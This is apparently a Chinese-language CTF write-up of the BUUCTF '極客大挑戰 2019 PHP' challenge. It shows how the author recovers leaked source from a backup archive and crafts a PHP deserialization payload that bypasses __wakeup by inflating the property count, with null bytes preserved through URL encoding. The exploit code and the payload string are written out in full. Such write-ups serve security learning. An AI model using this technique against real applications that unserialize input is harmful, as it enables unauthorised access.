1. 程式人生 > 其它 >buu-[極客大挑戰 2019]PHP

buu-[極客大挑戰 2019]PHP

開啟題目

根據提示

用備份檔案的字典來爆破

得知備份檔案為www.zip

將備份檔案下載下來

發現有flag.php檔案

直接檢視

可是裡面給的字串提交不了

在檢視index.php的時候發現了一串php程式碼

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

應該是考察反序列化

檢視class.php檔案

<?php
include 'flag.php';


error_reporting(0);


class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function
__destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>";
die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>

分析可知當執行destruct魔術方法時

當password的值為100時,使用者名稱為admin時會輸出flag

當是上面的魔術方法wakeup會將使用者名稱變為guest

我們就要繞過這個點

__wakeup(): 將在序列化之後立即被呼叫
漏洞原理: 當反序列化字串中,表示屬性個數的值大於其真實值,則跳過__wakeup

exp

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();

echo serialize($a);
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

我們只需要把name後面的2改成更大的數就可以繞過wakeup了

因為name後門的2代表了類中有2個屬性,當把2改成更大的數時,表示屬性個數的值就大於真實個數了

就可以繞過了

payload:select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

發現錯了

我蒙了

查了一下wp

發現在Name的兩邊有2個空位元組,url編碼為%00

所以在上面的exp輸出時要變一下

echo urlencode(serialize($a));

這樣輸出url編碼就不會丟失%00了

成功得到flag